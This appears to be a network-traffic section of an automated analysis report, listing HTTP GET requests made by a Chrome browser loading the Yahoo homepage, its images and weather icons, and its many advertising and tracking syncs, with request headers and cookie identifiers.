Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-geolocation-1.3.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=8ef8bd59-c0f9-498f-b9d3-9b7d58497a48,44fa19c4-216a-4b5e-941f-e745a6bb82b1,2c163bfe-0479-4986-a62c-3f1337766faf,7c93543a-ce9d-4d62-b6c5-a4acbaa51bd7,3fc502a5-3606-4eaa-a964-da4d6fea6cb0,3740ee8d-0911-4990-aeb6-fa29ecefcb01&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-start-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-result-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=rMW2Wm8dqO0 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-error-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-close-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /adscores/g.pixel?sid=9202214988&yho=y-nD.pVzFE2p7hPY1BD6_xmvzcGxE48h29DSc-~A HTTP/1.1Host: aa.agkn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-1xaxt2RE2pHy5ECCncGnLB0pjB6kSIwDUBU-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&us_privacy=1YNN HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /eh/prebid-config/bp-fp.json HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=ShoppingContent&m_id=react-wafer-shopping&m_mode=json&xhrPathPrefix=%2Ffp_ms%2F_rcv%2Fremote HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
Source: global traffic	HTTP traffic detected: GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idex/did-004f/any?duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&us_privacy=1YNN&gdpr=0&did=did-004f&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com&resolve=nonId&resolve=magnite&resolve=pubmatic&resolve=index&resolve=openx HTTP/1.1Host: idx.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/4u3T0U1pgURnOM.6ttN8YQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/hpeiTT5J5gj5Yh1JVbkktg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/fox_news_text_979/40045cfcc7eb21abc7dac4d9fffd740d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/2yghjbKRjDThM2qwTZX.zQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/04271874beb49d28a98b07ab57abeeca.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=1sbetl5j2qvpa&m_mode=json&designtype=default HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&rn=1.9185749898548843 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/tZay1xySRmlImjQjDsh.RA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/sacramento_bee_mcclatchy_569/17ba9bec4c2d05668d604a7ee3f22992.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2&rn=1.9185749898548843 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
Source: global traffic	HTTP traffic detected: GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1714257714229 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1D48bace37dc6f510e89ade1714257697
Source: global traffic	HTTP traffic detected: GET /tdv2_fp/api/resource/WeatherLocationService.favoriteLocation?returnMeta=true&lang=en-US&region=US&site=fp&ssl=1&crumb=rMW2Wm8dqO0 HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
Source: global traffic	HTTP traffic detected: GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=63826747359567710540057628888543792331
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/MOSTLY_SUNNY.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
